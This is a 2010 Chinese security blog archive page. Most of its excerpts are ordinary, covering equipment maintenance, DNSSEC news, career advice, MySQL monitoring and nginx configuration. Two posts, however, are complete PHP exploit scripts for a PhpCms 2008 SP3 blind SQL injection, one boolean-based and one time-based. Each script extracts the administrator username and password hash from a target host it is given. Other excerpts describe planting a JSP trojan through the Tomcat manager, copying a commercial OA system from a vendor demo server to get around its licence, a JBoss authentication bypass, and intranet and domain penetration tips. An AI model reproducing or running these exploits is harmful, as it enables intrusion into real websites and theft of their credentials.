存档

作者存档

企业网络安全早防范

2010年5月17日 没有评论 78 views

节假日的到来可使辛苦工作的人们放松紧绷的神经好好休息。但是,这个时候也是各种计算机病毒及不安全因素蠢蠢欲动的时候,企业网络安全防范,最值得关注的。本文笔者总结了相关的建议,向广大企业用户们分享下网络安全防范的经验和措施:

一、硬件设备的检测与维护

首先,需要对硬件设施进行全面体检,不同的企业应该有各自的IT设备运维的标准和制度,笔者认为节前对硬件设施进行全面体检绝对应该写入制度之中,并且应该彻彻底底、毫无保留地执行。因为,要保证节日期间的网络系统的安全稳定运行,诸如PC、服务器、交换机、路由器等硬件设备的稳定性是基础。

根据企业硬件设备,分为常规设备及网络设备两大类:

1、PC机、服务器、打印机、扫描仪等设备的维护

PC机检测:需要检测包括电源、硬盘和网卡等,并且应用程序和数据也需要做及时的备份。此外,杀毒软件病毒库更新、安装操作系统的最新补丁包等也是需要升极更新的。

服务器检测:则需要更为细致些,在适当的时候对服务器进行一次冷关机断点,然后对其电源、硬盘、网卡、风扇等进行检查,确保其性能良好。其次,若服务器做了RAID,一定要检查RAID卡和热插拔硬盘工作状态是否正常。此外,数据文件的清理及应用程序的备份也非常关键,确保其有足够的磁盘空间以备份假日期间的数据资料。

2、交换机、路由器的检测及其清洁

性能测试:在条件容许的情况下对交换机、路由器进行重启对其功能进行检测,测试的项目诸如接口测试、性能测试、协议一致性测试和网管测试等,测试最好进行远端测试。

设备清洁:对其进行卫生清洁是非常必要的,最好能够打开交换机/路由器,清除其主板电路上及其外围的灰尘,因灰尘导致的故障也是屡见不鲜。
阅读全文...

分类: 技术文章 标签:

国内OA安全现状初探

2010年5月10日 没有评论 276 views

文章作者:Cschii
[关键字]:OA,J2EE,Servlet,Tomcat应用,克隆
[技术要点]: 本文以华天、金和两款OA系统为例,为读者展示安全隐患给OA带来的创伤——不但系统本身被破解,而且殃及到服务器的安全。并对国内使用比较多的OA,如通达、华天、金和、泛微、致力协同、新思创等作了检测与分析,几乎都存在安全隐患,这使我们不能不为国内OA系统的安全感到担忧。
[主要内容]:

一、突破华天
1、Tocmcat挂马
1)Tomcat基础。简单介绍了Tomcat目录结构、web.xml和Server.xml配置文件的主要元素,以及Tomcat调用Servlet的过程;
2)Tomcat挂马。将jsp木马打包成War文件,然后在Tomcat的管理页面,上传展开(Deploy)该War文件,完成挂马。
War文件,即网络应用程序文件(Web Archive file),一种与平台无关的文件格式,它允许将许多文件组合成一个存档文件,为 J2EE 应用程序创建的 JAR 文件是 EAR 文件(企业 JAR 文件),而War专用在Web方面。
3)Tomcat日志。在Tomcat的日志目录logs中以文本方式保存着Tomcat运行的详细信息,这里我们强调两处。一个是Tomcat启动信息,从中我们可以获取Mysql连接用户密码的Base64加密值,再者就是我们上传War以及访问jsp木马的痕迹也被详细记录。这也启示我们在分析Tomcat日志时,应注意“ [Main] Log in”、“Associated with Deployer”等字符。
2、克隆华天
远程桌面登陆华天OA的Demo服务器,完成华天OA的“克隆”——完整复制OA安装目录!本地安装后再使用update修改administrator的超级用户密码,就这样,我们获得了一个没有功能和时间限制的华天OA系统!
阅读全文...

分类: 技术文章 标签:

PhpCms 2008 Sp3 Blind SQL Injection Exploit(2)

2010年5月8日 没有评论 184 views

<?php

ini_set("max_execution_time",0);

error_reporting(7);

function usage()

{

global $argv;

exit(

"\n--+++============================================================+++--".

"\n--+++====== PhpCms 2008 Sp3 Blind SQL Injection Exploit========+++--".

"\n--+++============================================================+++--".

"\n\n[+] Author: My5t3ry".

"\n[+] Team: [url]http://www.t00ls.net[/url]".

"\n[+] Usage: php ".$argv[0]." <hostname> <path>".

"\n[+] Ex.: php ".$argv[0]." localhost /yp".

"\n\n");

}

function query($pos, $chr, $chs)

{

global $prefix;

switch ($chs){

case 1:

$query = "1=1 and if((ascii(substring((select username from ".$prefix."member where groupid=1 limit 0,1),{$pos},1))={$chr}),benchmark(10000000,md5(1)),1)#";

break;

case 2:

$query = "1=1 and if((ascii(substring((select password from ".$prefix."member where groupid=1 limit 0,1),{$pos},1))={$chr}),benchmark(10000000,md5(1)),1)#";

break;

case 3:

$query = "1=1 and if((length((select username from ".$prefix."member where groupid=1 limit 0,1))={$pos}),benchmark(10000000,md5(1)),1)#";

break;

}

$query = str_replace(" ", "/**/", $query);

$query = urlencode($query);

return $query;

}

function exploit($hostname, $path, $pos, $chr, $chs)

{

$chr = ord($chr);

$conn = fsockopen($hostname, 80);

$postdata = "q=&action=searchlist&where=".query($pos, $chr, $chs);

$message = "POST ".$path."/product.php HTTP/1.1\r\n";

$message .= "Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, */*\r\n";

$message .= "Accept-Language: zh-cn\r\n";

$message .= "Content-Type: application/x-www-form-urlencoded\r\n";

$message .= "Accept-Encoding: gzip, deflate\r\n";

$message .= "User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)\r\n";

$message .= "Host: $hostname\r\n";

$message .= "Content-Length: ".strlen($postdata)."\r\n";

$message .= "Connection: Close\r\n\r\n";

$message .= $postdata;

//echo $message;

$time_a = time();

fputs($conn, $message);

while (!feof($conn))

$reply .= fgets($conn, 1024);

$time_b = time();

fclose($conn);

//echo $time_b - $time_a."\r\n";

if ($time_b - $time_a > 4)

return true;

else

return false;

}

function crkusername($hostname, $path, $chs)

{

global $length;

$key = "abcdefghijklmnopqrstuvwxyz0123456789";

$chr = 0;

$pos = 1;

echo "[+] username: ";

while ($pos <= $length)

{

if (exploit($hostname, $path, $pos, $key[$chr], $chs))

{

echo $key[$chr];

$chr = 0;

$pos++;

}

else

$chr++;

}

echo "\n";

}

function crkpassword($hostname, $path, $chs)

{

$key = "abcdef0123456789";

$chr = 0;

$pos = 1;

echo "[+] password: ";

while ($pos <= 32)

{

if (exploit($hostname, $path, $pos, $key[$chr], $chs))

{

echo $key[$chr];

$chr = 0;

$pos++;

}

else

$chr++;

}

echo "\n\n";

}

function lengthcolumns($hostname, $path, $chs)

{

echo "[+] username length: ";

$exit = 0;

$length = 0;

$pos = 0;

$chr = 0;

while ($exit==0)

{

if (exploit($hostname, $path, $pos, $chr, $chs))

{

$exit = 1;

$length = $pos;

}

else

$pos++;

}

echo $length."\n";

return $length;

}

function getprefix($hostname, $path)

{

echo "[+] prefix: ";

$conn = fsockopen($hostname, 80);

$request = "GET {$path}/product.php?q=&action=searchlist&where=%23 HTTP/1.1\r\n";

$request .= "Host: {$hostname}\r\n";

$request .= "Connection: Close\r\n\r\n";

fputs($conn, $request);

while (!feof($conn))

$reply .= fgets($conn, 1024);

fclose($conn);

preg_match('/FROM `(.+)yp_product/ie',$reply,$match);

if ($match[1])

return $match[1];

else

return false;

}

if ($argc != 3)

usage();

$prefix="";

$hostname = $argv[1];

$path = $argv[2];

$prefix = getprefix($hostname, $path);

if ($prefix)

{

echo $prefix."\r\n";

$length = lengthcolumns($hostname, $path, 3);

crkusername($hostname, $path, 1);

crkpassword($hostname, $path, 2);

}

else

{

exit("Exploit failed");

}

?>

PhpCms 2008 Sp3 Blind SQL Injection Exploit(1)

2010年5月8日 没有评论 173 views

<?php

ini_set("max_execution_time",0);

error_reporting(7);

function usage()

{

global $argv;

exit(

"\n--+++============================================================+++--".

"\n--+++====== PhpCms 2008 Sp3 Blind SQL Injection Exploit========+++--".

"\n--+++============================================================+++--".

"\n\n[+] Author: My5t3ry".

"\n[+] Team: [url]http://www.t00ls.net[/url]".

"\n[+] Usage: php ".$argv[0]." <hostname> <path>".

"\n[+] Ex.: php ".$argv[0]." localhost /yp".

"\n\n");

}

function query($pos, $chr, $chs)

{

global $prefix;

switch ($chs){

case 0:

$query = "#";

break;

case 1:

$query = " ascii(substring((select username from ".$prefix."member where groupid=1 limit 0,1),{$pos},1))={$chr}#";

break;

case 2:

$query = " ascii(substring((select password from ".$prefix."member where groupid=1 limit 0,1),{$pos},1))={$chr}#";

break;

case 3:

$query = " length((select username from ".$prefix."member where groupid=1 limit 0,1))={$pos}#";

break;

}

$query = str_replace(" ", "/**/", $query);

$query = urlencode($query);

return $query;

}

function exploit($hostname, $path, $pos, $chr, $chs)

{

$chr = ord($chr);

$conn = fsockopen($hostname, 80);

//print_r($conn);

/*if (!$conn){

exit("\r\n[-] No response from $conn");

}*/

$postdata = "q=&action=searchlist&where=".query($pos, $chr, $chs);

$message = "POST ".$path."/product.php HTTP/1.1\r\n";

$message .= "Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, */*\r\n";

$message .= "Accept-Language: zh-cn\r\n";

$message .= "Content-Type: application/x-www-form-urlencoded\r\n";

$message .= "Accept-Encoding: gzip, deflate\r\n";

$message .= "User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)\r\n";

$message .= "Host: $hostname\r\n";

$message .= "Content-Length: ".strlen($postdata)."\r\n";

$message .= "Connection: Close\r\n\r\n";

$message .= $postdata;

//echo $message;

fputs($conn, $message);

while (!feof($conn))

$reply .= fgets($conn, 1024);

fclose($conn);

return $reply;

}

function crkusername($hostname, $path, $chs)

{

global $length;

$key = "abcdefghijklmnopqrstuvwxyz0123456789";

$chr = 0;

$pos = 1;

echo "[+] username: ";

while ($pos <= $length)

{

$response = exploit($hostname, $path, $pos, $key[$chr], $chs);

preg_match ("/<span class=\"time\">(.+)<\/span><\/strong>/i", $response, $match);

if (strlen(trim($match[1])) != 0)

{

echo $key[$chr];

$chr = 0;

$pos++;

}

else

$chr++;

}

echo "\n";

}

function crkpassword($hostname, $path, $chs)

{

$key = "abcdef0123456789";

$chr = 0;

$pos = 1;

echo "[+] password: ";

while ($pos <= 32)

{

$response = exploit($hostname, $path, $pos, $key[$chr], $chs);

preg_match ("/<span class=\"time\">(.+)<\/span><\/strong>/i", $response, $match);

if (strlen(trim($match[1])) != 0)

{

echo $key[$chr];

$chr = 0;

$pos++;

}

else

$chr++;

}

echo "\n\n";

}

function lengthcolumns($hostname, $path, $chs)

{

echo "[+] username length: ";

$exit = 0;

$length = 0;

$pos = 1;

$chr = 0;

while ($exit==0)

{

$response = exploit($hostname, $path, $pos, $chr, $chs);

preg_match ("/<span class=\"time\">(.+)<\/span><\/strong>/i", $response, $match);

if (strlen(trim($match[1])) != 0)

{

$exit = 1;

$length = $pos;

}

else

$pos++;

}

echo $length."\n";

return $length;

}

function getprefix($hostname, $path, $chs)

{

echo "[+] prefix: ";

$pos = 0;

$chr = 0;

$response = exploit($hostname, $path, $pos, $chr, $chs);

preg_match('/FROM `(.+)yp_product/ie',$response,$match);

if ($match[1])

return $match[1];

else

return false;

}

if ($argc != 3)

usage();

$prefix="";

$hostname = $argv[1];

$path = $argv[2];

$prefix = getprefix($hostname, $path, 0);

if ($prefix)

{

echo $prefix."\r\n";

$length = lengthcolumns($hostname, $path, 3);

crkusername($hostname, $path, 1);

crkpassword($hostname, $path, 2);

}

else

{

exit("\r\n[-] Exploit failed");

}

?>

JBoss企业应用平台JMX控制台安全绕过漏洞

2010年5月8日 没有评论 377 views

漏洞起因
设计错误
危险等级

影响系统
JBoss Application Server (AS) 4.0.x
JBoss Communications Platform 1.2
JBoss Enterprise Application Platform (EAP) 4.2, 4.3, 5.0
JBoss Enterprise Portal Platform (EPP) 4.3
JBoss Enterprise Web Platform (EWP) 5.0
JBoss SOA-Platform (SOA-P) 4.2, 4.3, 5.0

不受影响系统

危害
远程攻击者可以利用漏洞绕过验证访问控制接口。

攻击所需条件
攻击者必须访问JBoss Enterprise Application Platform应用。

漏洞信息
JBoss Enterprise Application Platform是一款企业级应用程序平台,用于基于JBoss的应用开发。
JBoss Enterprise Application Platform WEB控制台(/web-console)缺少正确限制,攻击者提交没有指定GET或POST的HTTP请求绕过验证,访问系统。
JBOSS在配置HTTP verbs时,访问控制的实现存在安全问题,导致如HEAD,PUT或DELETE等未在配置文件中允许的verb能够直接以jbossadmin身份调用GET处理器, 从而绕过认证。
阅读全文...

分类: 技术文章 标签: ,

DNS根服务器升级 网络有瘫痪危险

2010年5月6日 没有评论 142 views

5月5日,由ICANN,美国政府和Verisign领导的全球13台根域名服务器将会迎来DNSSEC(Domain Name System Security Extensions,域名系统安全扩展)升级,DNSSEC升级将会在反馈给互联网用户的DNS请求响应中插入数字签名,确保返回的域名地址是未经篡改的。

DNSSEC是为阻止中间人攻击而设计的,利用中间人攻击,黑客可以劫持DNS请求,并返回一个假地址给请求方,这种攻击手段类似于正常的DNS重定向,人们在不知不觉中被转到另一个URL。(实际上域名劫持技术和DNS缓存投毒攻击相当广泛,这也是互联网最大的漏洞——DNS缓存漏洞造成的,DNSSEC可以解决这类问题,今年年初,百度事件就是因为DNS服务器被攻击造成的。)

据Melbourne IT首席战略官,ICANN董事Bruce Tonkin说,本次升级将会给那些毫无准备的网络管理员一个措手不及,响应标准DNS请求往往只有一个单一的数据包(UDP协议),大小一般不会超过521字节,在某些较旧的网络设备中,比这个大的请求将会被出厂默认配置阻止掉,它会认为超过这个大小的数据包是异常的。
阅读全文...

分类: 业界资讯 标签:

搞内网的一个小技巧

2010年5月5日 3 条评论 887 views

来源:Chinadu`s Blog

XP搞内网的时候,LCX.exe转发出来到本机的端口,在mstsc里面连127.0.0.1是联不上去的,因为XP是单用户。


阅读全文...

如何利用有效的信息安全职业关系网

2010年5月3日 没有评论 96 views

把合适的人员吸引到自己的信息安全职业关系网中并不是一件容易的事情,你需要付出很多努力,而且需要另辟蹊径。

你越是努力地为你的关系网选择合适的成员,你的关系网就能越有效地帮助你实现自己的最终目标,即实现你的信息安全职业目标。比如,吸引一个从事相同 信息安全工作的同事要比寻找一个能够促进你职业发展的CIO或者CISO容易得多。而在这篇文章中,我们将提供一些关于接近这几种人的方法。

去那些可以让自己显得独特的地方

作为一个群体,信息安全职业人员大都倾向于跟他们的同行进行沟通。这样做虽然很容易,但效果却并不好。虽然可以跟那些具有类似职位以及面临类似挑战 的同行们愉快地交流“战争故事(war stories)”,但他们并不会给你的职业关系网增加多少独到的见解。

在一开始的时候,你可以寻找那些你能够提供特殊知识的群体、组织或者社会环境,并且那里的人们也对你的独特视角感兴趣。这些听众通常有很多是高层人 士,他们急切的想了解信息安全知识。比如,如果你是一个侧重于卫生医疗方面的信息安全职业人员,那么你应该加入一个由医院管理人员、医院CFO和CIO构 成的组织。通过与这些人分享你的观点,你能够跟那些欣赏你的观点并且需要你帮助的人发展可信赖关系。如果他们需要你的知识,那么你就可以要求他们以自己的 专业知识作为回报。

非专业群体也可以提供帮助。这些群体包括慈善机构、宗教团体或者特殊利益团体等。这些外部群体里有许多处于不同的生活阶段和事业阶段的人,在很多情 况下你会发现这些人中会有人给你的职业关系网提供独特的价值,并且愿意帮助你事业的发展。
阅读全文...

分类: 业界资讯 标签:

安全研究人员分类

2010年4月30日 没有评论 188 views

安全研究人员大致可以分为两类: blackhat类型 & whitehat类型。

我想大多数的whitehat都是就职于甲方公司的,当然也有一些人白天假装是whitehat, 到了晚上摇身一变去干坏事了。由于我是在甲方工作,比较了解whitehat们整天都在干些啥, 安全加固, 制定策略, 代码review, 开发安全防护工具等等一切对保护公司安全有价值的事情。

blackhat呢? 一部分在乙方工作, 一部分是无业游民, 但往往这些人都很有钱。 个人对blackhat所作的事情很感兴趣, 因为他可以无限制的去研究某种攻击技术, 无论花多少时间和精力,这是没有人会限制住他的。 当然他们不会轻易把自己的研究成果公布出来, 因为他们是靠那个吃饭的。 最多是在公众场合显摆下自己挖的0day, 顺便再在blog上yy几句, 我认识的一些blackhat大多行为低调, 你永远都不会知道他们的潜力究竟有多大。

whitehat呢? 在甲方工作是没有那么多时间做研究的, 这个挤挤才能有。 在甲方你不能随便去搞一个研究, 跟保护公司安全无关的研究是不被接受的, 也就是说你花时间去研究了, 必须得有研究成果出来, 而且这个研究成果要对公司安全有价值才行,否则就是你的价值观有问题了, 价值观有问题的人KPI是不会及格的。
阅读全文...

分类: 心情随笔 标签:

MySQL监控快速指南

2010年4月30日 没有评论 194 views

Mysql作为广泛应用的数据库系统,平时运维工作中对她的监控必不可少,现在把我对Mysql数据库的监控体会写成下文,欢迎拍砖。
无论是DBA或是SA,监控的目标都很明确,无外乎

1.快速的得到Mysql过去一段时间或者当前运行的状态
2.因硬件升级或者系统配置的改变而诊断对Mysql数据库性能影响
3.在Mysql数据库系统出现故障要能够及时收到告警
4.为日后编写运维报告提供各项数据指标供分析
5.……

想到了再做补充。而所有以上这些目的,通过各种方法和手段都可以做到。

自从Mysql数据库系统启动并且提供服务,Mysql内部自身的一套“计数器”就开始工作,可以通过
Show Global Status , Show global variables ,Show full processlist
得到Mysql数据库系统当前各种系统变量和状态 ,并且后文介绍个各种监控工具几乎都是对这三个指令的输出
进行数据的计算和统计分析。
阅读全文...

分类: 技术文章 标签:

nginx 目录自动加斜线

2010年4月30日 没有评论 179 views

最佳方法在nginx.conf加入

http{
...
server_name_in_redirect off;
...
}

国内搜索到两种方法
第一种方法 用rewrite补上/

if (-d $request_filename){ rewrite ^/(.*)([^/])$ /$1$2/ permanent; }

阅读全文...

分类: 技术文章 标签:

域环境下的渗透

2010年4月29日 没有评论 568 views

在进行内网渗透,尤其是在比较大型的网络环境下,很可能会遇到域这样一种特殊的网络环境,而在域环境下的内网渗透又将是另外一片天地。
首先还是先简要看一下域的概念吧:
(Domain) 是Windows网络中独立运行的单位,域之间相互访问则需要建立信任关系(即Trust Relation)。信任关系是连接在域与域之间的桥梁。当一个域与其他域建立了信任关系后,2个域之间不但可以按需要相互进行管理,还可以跨网分配文件和打印机等设备资源,使不同的域之间实现网络资源的共享与管理。
域既是 Windows 网络操作系统的逻辑组织单元,也是Internet的逻辑组织单元,在 Windows 网络操作系统中,域是安全边界。域管理员只能管理域的内部,除非其他的域显式地赋予他管理权限,他才能够访问或者管理其他的域;每个域都有自己的安全策略,以及它与其他域的安全信任关系。

通过上述的了解,我们可以知道域管理员的权限是相当大的,域管理员可以通过持有域的登陆票据从而实现对域内各个计算机的远程管理,即有权限登陆任何一台机器。那么在渗透的过程中我们就可以通过某种方式记录下管理员登陆的密码,当然了,这只是其中的一种思路。
阅读全文...

分类: 技术文章 标签: ,